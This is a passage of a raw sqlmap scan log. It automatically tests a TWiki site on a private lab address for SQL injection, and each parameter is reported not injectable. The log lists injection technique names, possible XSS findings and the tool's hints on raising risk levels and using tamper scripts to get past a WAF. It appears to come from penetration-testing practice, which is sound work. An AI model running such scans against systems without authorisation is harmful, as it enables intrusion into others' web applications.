Y [18:58:36] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiHistory?rev=1.9' [18:58:36] [INFO] testing connection to the target URL [18:58:37] [INFO] testing if the target URL is stable [18:58:37] [INFO] target URL is stable [18:58:37] [INFO] testing if GET parameter 'rev' is dynamic [18:58:38] [INFO] confirming that GET parameter 'rev' is dynamic [18:58:38] [INFO] GET parameter 'rev' is dynamic [18:58:38] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [18:58:38] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [18:58:38] [INFO] testing for SQL injection on GET parameter 'rev' [18:58:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:58:38] [WARNING] reflective value(s) found and filtering out [18:58:40] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:58:40] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:58:40] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:58:41] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:58:41] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:58:42] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:58:42] [INFO] testing 'MySQL inline queries' [18:58:42] [INFO] testing 'PostgreSQL inline queries' [18:58:42] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:58:42] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:58:43] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:58:43] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:58:44] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:58:44] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:58:45] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:58:45] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:58:46] [INFO] testing 'Oracle AND time-based blind' [18:58:46] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:58:46] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:58:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:59:00] [WARNING] GET parameter 'rev' is not injectable [18:59:00] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [18:59:00] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiHistory?rev1=1.9&rev2=1.8' [18:59:00] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiHistory?rev=1.8' [18:59:00] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiHistory?rev1=1.8&rev2=1.7' [18:59:00] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiHistory?rev=1.7' URL 75: GET http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiHistory?template=oopsrev¶m1=1.10 do you want to test this URL? [Y/n/q] Y [18:59:00] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiHistory?template=oopsrev¶m1=1.10' [18:59:00] [INFO] testing connection to the target URL [18:59:00] [INFO] testing if the target URL is stable [18:59:01] [INFO] target URL is stable [18:59:01] [INFO] testing if GET parameter 'template' is dynamic [18:59:01] [INFO] confirming that GET parameter 'template' is dynamic [18:59:01] [INFO] GET parameter 'template' is dynamic [18:59:01] [INFO] heuristics detected web page charset 'ascii' [18:59:01] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [18:59:01] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [18:59:01] [INFO] testing for SQL injection on GET parameter 'template' [18:59:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:59:01] [WARNING] reflective value(s) found and filtering out [18:59:02] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:59:02] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:59:03] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:59:03] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:59:03] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:59:04] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:59:04] [INFO] testing 'MySQL inline queries' [18:59:04] [INFO] testing 'PostgreSQL inline queries' [18:59:04] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:59:04] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:59:04] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:59:05] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:59:05] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:59:05] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:59:06] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:59:06] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:59:07] [INFO] testing 'Oracle AND time-based blind' [18:59:07] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:59:07] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:59:12] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:59:16] [WARNING] GET parameter 'template' is not injectable [18:59:16] [INFO] testing if GET parameter 'param1' is dynamic [18:59:16] [WARNING] GET parameter 'param1' does not appear dynamic [18:59:16] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [18:59:16] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [18:59:16] [INFO] testing for SQL injection on GET parameter 'param1' [18:59:16] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:59:17] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:59:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:59:18] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:59:18] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:59:19] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:59:19] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:59:19] [INFO] testing 'MySQL inline queries' [18:59:19] [INFO] testing 'PostgreSQL inline queries' [18:59:20] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:59:20] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:59:20] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:59:20] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:59:21] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:59:21] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:59:22] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:59:22] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:59:22] [INFO] testing 'Oracle AND time-based blind' [18:59:23] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:59:28] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:59:34] [WARNING] GET parameter 'param1' is not injectable [18:59:34] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 76: GET http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441456817 do you want to test this URL? [Y/n/q] Y [18:59:34] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/TWiki/TWikiDocumentation?t=1441456817' [18:59:34] [INFO] testing connection to the target URL [18:59:34] [INFO] testing if the target URL is stable [18:59:35] [INFO] target URL is stable [18:59:35] [INFO] testing if GET parameter 't' is dynamic [18:59:35] [WARNING] GET parameter 't' does not appear dynamic [18:59:35] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [18:59:35] [INFO] testing for SQL injection on GET parameter 't' [18:59:35] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:59:36] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:59:36] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:59:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [18:59:37] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [18:59:38] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [18:59:38] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [18:59:38] [INFO] testing 'MySQL inline queries' [18:59:39] [INFO] testing 'PostgreSQL inline queries' [18:59:39] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [18:59:39] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [18:59:39] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [18:59:39] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [18:59:40] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [18:59:40] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [18:59:41] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [18:59:41] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [18:59:42] [INFO] testing 'Oracle AND time-based blind' [18:59:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [18:59:42] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [18:59:48] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [18:59:55] [WARNING] GET parameter 't' is not injectable [18:59:55] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 77: GET http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki Documentation[^A-Za-z] do you want to test this URL? [Y/n/q] Y [18:59:55] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/TWiki/SearchResult?scope=text®ex=on&search=TWiki Documentation[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [18:59:55] [INFO] testing connection to the target URL [18:59:55] [INFO] testing if the target URL is stable [18:59:56] [INFO] target URL is stable [18:59:56] [INFO] testing if URI parameter '#1' is dynamic [18:59:56] [INFO] confirming that URI parameter '#1*' is dynamic [18:59:56] [INFO] URI parameter '#1*' is dynamic [18:59:56] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [18:59:56] [INFO] testing for SQL injection on URI parameter '#1*' [18:59:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [18:59:57] [WARNING] reflective value(s) found and filtering out [18:59:58] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [18:59:59] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [18:59:59] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:00:00] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:00:00] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:00:01] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:00:01] [INFO] testing 'MySQL inline queries' [19:00:01] [INFO] testing 'PostgreSQL inline queries' [19:00:01] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:00:02] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:00:02] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:00:03] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:00:03] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:00:04] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:00:04] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:00:05] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:00:06] [INFO] testing 'Oracle AND time-based blind' [19:00:06] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:00:06] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:00:13] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:00:18] [WARNING] URI parameter '#1*' is not injectable [19:00:18] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 78: GET http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiDocumentation?skin=print do you want to test this URL? [Y/n/q] Y [19:00:18] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiDocumentation?skin=print' [19:00:18] [INFO] testing connection to the target URL [19:00:21] [INFO] testing if the target URL is stable [19:00:22] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [19:00:23] [INFO] testing if GET parameter 'skin' is dynamic [19:00:24] [WARNING] GET parameter 'skin' does not appear dynamic [19:00:24] [INFO] heuristics detected web page charset 'ascii' [19:00:24] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [19:00:26] [INFO] heuristic (XSS) test shows that GET parameter 'skin' might be vulnerable to XSS attacks [19:00:26] [INFO] testing for SQL injection on GET parameter 'skin' [19:00:26] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:00:26] [WARNING] reflective value(s) found and filtering out [19:00:44] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:00:49] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:00:55] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:01:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:01:06] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:01:11] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:01:12] [INFO] testing 'MySQL inline queries' [19:01:13] [INFO] testing 'PostgreSQL inline queries' [19:01:15] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:01:16] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:01:19] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:01:23] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:01:26] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:01:30] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:01:34] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:01:38] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:01:43] [INFO] testing 'Oracle AND time-based blind' [19:01:47] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:01:47] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:03:36] [WARNING] there is a possibility that the target (or WAF) is dropping 'suspicious' requests [19:03:36] [CRITICAL] connection timed out to the target URL or proxy. sqlmap is going to retry the request [19:05:42] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:06:50] [WARNING] GET parameter 'skin' is not injectable [19:06:50] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 79: GET http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiDocumentation?rev1=1.44&rev2=1.43 do you want to test this URL? [Y/n/q] Y [19:06:50] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiDocumentation?rev1=1.44&rev2=1.43' [19:06:50] [INFO] testing connection to the target URL [19:06:50] [INFO] testing if the target URL is stable [19:06:51] [INFO] target URL is stable [19:06:51] [INFO] testing if GET parameter 'rev1' is dynamic [19:06:51] [WARNING] GET parameter 'rev1' does not appear dynamic [19:06:51] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [19:06:51] [INFO] heuristic (XSS) test shows that GET parameter 'rev1' might be vulnerable to XSS attacks [19:06:51] [INFO] testing for SQL injection on GET parameter 'rev1' [19:06:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:06:52] [WARNING] reflective value(s) found and filtering out [19:06:53] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:06:53] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:06:54] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:06:54] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:06:55] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:06:55] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:06:55] [INFO] testing 'MySQL inline queries' [19:06:56] [INFO] testing 'PostgreSQL inline queries' [19:06:56] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:06:56] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:06:56] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:06:57] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:06:57] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:06:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:06:58] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:06:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:06:59] [INFO] testing 'Oracle AND time-based blind' [19:07:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:07:00] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:07:07] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:07:15] [WARNING] GET parameter 'rev1' is not injectable [19:07:15] [INFO] testing if GET parameter 'rev2' is dynamic [19:07:15] [INFO] confirming that GET parameter 'rev2' is dynamic [19:07:15] [INFO] GET parameter 'rev2' is dynamic [19:07:15] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [19:07:15] [INFO] heuristic (XSS) test shows that GET parameter 'rev2' might be vulnerable to XSS attacks [19:07:15] [INFO] testing for SQL injection on GET parameter 'rev2' [19:07:15] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:07:16] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:07:23] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:07:24] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:07:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:07:25] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:07:26] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:07:29] [INFO] testing 'MySQL inline queries' [19:07:32] [INFO] testing 'PostgreSQL inline queries' [19:07:35] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:07:38] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:07:38] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:07:39] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:07:39] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:07:40] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:07:40] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:07:41] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:07:42] [INFO] testing 'Oracle AND time-based blind' [19:07:42] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:07:50] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:07:57] [WARNING] GET parameter 'rev2' is not injectable [19:07:57] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 80: GET http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiDocumentation?rev=1.43 do you want to test this URL? [Y/n/q] Y [19:07:57] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiDocumentation?rev=1.43' [19:07:57] [INFO] testing connection to the target URL [19:08:00] [INFO] testing if the target URL is stable [19:08:01] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [19:08:01] [INFO] testing if GET parameter 'rev' is dynamic [19:08:03] [INFO] confirming that GET parameter 'rev' is dynamic [19:08:04] [INFO] GET parameter 'rev' is dynamic [19:08:04] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [19:08:04] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [19:08:04] [INFO] testing for SQL injection on GET parameter 'rev' [19:08:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:08:04] [WARNING] reflective value(s) found and filtering out [19:08:14] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:08:15] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:08:15] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:08:16] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:08:16] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:08:17] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:08:17] [INFO] testing 'MySQL inline queries' [19:08:17] [INFO] testing 'PostgreSQL inline queries' [19:08:17] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:08:18] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:08:18] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:08:19] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:08:19] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:08:19] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:08:20] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:08:21] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:08:23] [INFO] testing 'Oracle AND time-based blind' [19:08:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:08:24] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:09:02] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:09:40] [WARNING] GET parameter 'rev' is not injectable [19:09:40] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [19:09:40] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/TWiki/TWikiDocumentation?rev1=1.43&rev2=1.42' [19:09:40] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/TWiki/TWikiDocumentation?rev=1.42' URL 81: GET http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiDocumentation?template=oopsmore¶m1=1.44¶m2=1.44 do you want to test this URL? [Y/n/q] Y [19:09:40] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/TWiki/TWikiDocumentation?template=oopsmore¶m1=1.44¶m2=1.44' [19:09:40] [INFO] testing connection to the target URL [19:09:40] [INFO] testing if the target URL is stable [19:09:41] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [19:09:41] [INFO] testing if GET parameter 'template' is dynamic [19:09:41] [INFO] confirming that GET parameter 'template' is dynamic [19:09:41] [INFO] GET parameter 'template' is dynamic [19:09:41] [INFO] heuristics detected web page charset 'ascii' [19:09:41] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [19:09:41] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [19:09:41] [INFO] testing for SQL injection on GET parameter 'template' [19:09:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:09:41] [WARNING] reflective value(s) found and filtering out [19:09:42] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:09:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:09:43] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:09:43] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:09:44] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:09:44] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:09:44] [INFO] testing 'MySQL inline queries' [19:09:44] [INFO] testing 'PostgreSQL inline queries' [19:09:44] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:09:45] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:09:45] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:09:45] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:09:46] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:09:46] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:09:47] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:09:47] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:09:48] [INFO] testing 'Oracle AND time-based blind' [19:09:48] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:09:48] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:09:53] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:09:57] [WARNING] GET parameter 'template' is not injectable [19:09:57] [INFO] testing if GET parameter 'param1' is dynamic [19:09:57] [WARNING] GET parameter 'param1' does not appear dynamic [19:09:58] [WARNING] heuristic (basic) test shows that GET parameter 'param1' might not be injectable [19:09:58] [INFO] heuristic (XSS) test shows that GET parameter 'param1' might be vulnerable to XSS attacks [19:09:58] [INFO] testing for SQL injection on GET parameter 'param1' [19:09:58] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:09:59] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:09:59] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:10:00] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:10:01] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:10:01] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:10:02] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:10:02] [INFO] testing 'MySQL inline queries' [19:10:02] [INFO] testing 'PostgreSQL inline queries' [19:10:02] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:10:02] [INFO] testing 'MySQL > 